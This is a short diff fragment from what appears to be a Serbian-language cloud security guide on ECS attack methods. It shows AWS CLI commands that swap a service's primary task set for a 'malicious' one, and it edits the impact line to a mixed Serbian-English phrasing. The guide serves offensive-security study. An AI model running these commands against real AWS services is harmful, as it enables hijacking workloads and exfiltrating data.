@@ -319,9 +319,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Potencijalni uticaj**: Izvršavanje proizvoljnog koda u pogođenom servisu, što može uticati na njegovu funkcionalnost ili dovesti do eksfiltracije osetljivih podataka.
**Potencijalni uticaj**: Execute arbitrary code u pogođenoj usluzi, potencijalno utičući na njenu funkcionalnost ili exfiltrating sensitive data.
## Reference
## References
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)